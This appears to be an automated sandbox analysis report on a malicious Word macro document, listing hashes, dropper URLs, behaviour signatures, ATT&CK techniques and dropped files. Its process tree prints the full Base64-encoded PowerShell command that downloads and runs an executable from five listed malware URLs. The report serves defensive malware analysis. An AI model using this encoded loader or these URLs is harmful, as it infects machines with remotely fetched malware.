d98f213fb4802c2a0443ec4bac831c3d727ab699fd6858316ee89afda8849042

Analysis

max time kernel
100s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19-09-2024 01:57

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General

Target

ea6151f2ac021c315206d6ad15bb65c9_JaffaCakes118.doc
Size

248KB
MD5

ea6151f2ac021c315206d6ad15bb65c9
SHA1

6ff1fab8609ecf46252920721b5a739db38bd5b9
SHA256

d98f213fb4802c2a0443ec4bac831c3d727ab699fd6858316ee89afda8849042
SHA512

e2fbf0bc205246b02bd93f8274e491612c8574690bac2313d2f9fc253a06d19bdf904978b2329c132321c38d0376a9bcc9f333ab744dae543c073fb0ea5c0e1c
SSDEEP

3072:O1ldztZGREmz/rSjpBGABScsXy6jL/xSu90OoiLuDKZXfwKeljR16:6GREmz/rStgc3YyoxUOmD+XfwLe

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://cardiologiarocco.com.br/hcr62qm03s5k_Cxz5E0

exe.dropper

http://etnoselostavna.me/04WMQVc0GT_KTIgh7

exe.dropper

http://www.kvona.com/60URNkr5

exe.dropper

http://dansavanh.in.th/wp-includes/xxZl0ALBp7f

exe.dropper

http://747big.com/WmSGWESw5CpppE

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	5004	2668	PoWersheLL.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
28	5004	PoWersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2668	WINWORD.EXE
2668	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5004	PoWersheLL.exe
5004	PoWersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	PoWersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2668	WINWORD.EXE
2668	WINWORD.EXE
2668	WINWORD.EXE
2668	WINWORD.EXE
2668	WINWORD.EXE
2668	WINWORD.EXE
2668	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 5004	2668	WINWORD.EXE	86
PID 2668 wrote to memory of 5004	2668	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ea6151f2ac021c315206d6ad15bb65c9_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exe
  PoWersheLL -e JABYAHYARgB1AHEAaQA5AD0AKAAnAEIAJwArACcAbwA4AGoATwA5ACcAKQA7ACQAZAAwADEAYgBLAFAARwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAHMAegA0AE4AagA0ADIAPQAoACcAaAB0AHQAcAA6AC8ALwBjACcAKwAnAGEAcgBkACcAKwAnAGkAbwBsAG8AZwBpAGEAcgAnACsAJwBvAGMAYwBvAC4AYwBvACcAKwAnAG0ALgBiACcAKwAnAHIALwBoAGMAcgA2ACcAKwAnADIAcQBtADAAMwBzADUAawBfACcAKwAnAEMAeAB6ADUARQAwAEAAJwArACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBlAHQAJwArACcAbgBvAHMAZQBsAG8AcwB0AGEAdgBuAGEALgBtACcAKwAnAGUALwAnACsAJwAwACcAKwAnADQAVwBNAFEAVgAnACsAJwBjADAARwBUAF8ASwBUAEkAJwArACcAZwBoADcAQABoACcAKwAnAHQAdABwADoALwAvAHcAdwB3AC4AawB2AG8AbgBhAC4AJwArACcAYwBvACcAKwAnAG0ALwA2ADAAVQBSAE4AJwArACcAawByADUAJwArACcAQABoAHQAJwArACcAdABwADoAJwArACcALwAvAGQAYQAnACsAJwBuAHMAYQB2ACcAKwAnAGEAbgBoAC4AaQAnACsAJwBuAC4AJwArACcAdABoAC8AdwAnACsAJwBwACcAKwAnAC0AJwArACcAaQBuACcAKwAnAGMAbAAnACsAJwB1AGQAZQBzACcAKwAnAC8AeAB4AFoAJwArACcAbAAnACsAJwAwAEEATABCAHAANwBmAEAAaAB0AHQAcAAnACsAJwA6AC8ALwA3ADQANwBiAGkAZwAnACsAJwAuACcAKwAnAGMAbwBtAC8AJwArACcAVwBtAFMARwBXAEUAJwArACcAUwB3ADUAQwAnACsAJwBwAHAAcABFACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAFMAVQAwAGsAcABhAD0AKAAnAEsAJwArACcAagAnACsAJwA4AGsANABqAHEAdwAnACkAOwAkAFEAVwA0AHoASgAxAEoAIAA9ACAAKAAnADkANgAnACsAJwA4ACcAKQA7ACQATgBYAEQAMAA1AHQANABXAD0AKAAnAHAASQA2AEEAQwAnACsAJwBpAHcAJwApADsAJABtAGQAMwBBAEMAWQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFEAVwA0AHoASgAxAEoAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABWAHoAbABkAG0AZAAgAGkAbgAgACQAaQBzAHoANABOAGoANAAyACkAewB0AHIAeQB7ACQAZAAwADEAYgBLAFAARwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABWAHoAbABkAG0AZAAsACAAJABtAGQAMwBBAEMAWQApADsAJABvAFUASgAzAGkAOABBAHEAPQAoACcAdwBMACcAKwAnAGkARQBQAGoAdAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABtAGQAMwBBAEMAWQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAG0AZAAzAEEAQwBZADsAJABFADEAdwBFAG4AaQBZAD0AKAAnAGkAMgAnACsAJwBGADMANwBEACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGYAaQBCADQAQwBuAD0AKAAnAEoAJwArACcAUABFAHEAJwArACcAYQBTAEwAJwApADsA
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q1gqmg22.tbi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/2668-36-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-573-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-7-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-10-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-9-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-8-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-6-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-5-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-577-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-12-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-14-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-15-0x00007FFC38900000-0x00007FFC38910000-memory.dmp

Filesize
64KB

Download
memory/2668-11-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-16-0x00007FFC38900000-0x00007FFC38910000-memory.dmp

Filesize
64KB

Download
memory/2668-28-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-29-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-34-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-1-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-13-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-4-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-60-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-2-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-58-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-57-0x00007FFC7AF8D000-0x00007FFC7AF8E000-memory.dmp

Filesize
4KB

Download
memory/2668-59-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-3-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-61-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-62-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-63-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-69-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2668-574-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-0-0x00007FFC7AF8D000-0x00007FFC7AF8E000-memory.dmp

Filesize
4KB

Download
memory/2668-575-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/2668-576-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

Filesize
64KB

Download
memory/5004-550-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/5004-70-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/5004-46-0x0000028372A90000-0x0000028372AB2000-memory.dmp

Filesize
136KB

Download
memory/5004-37-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download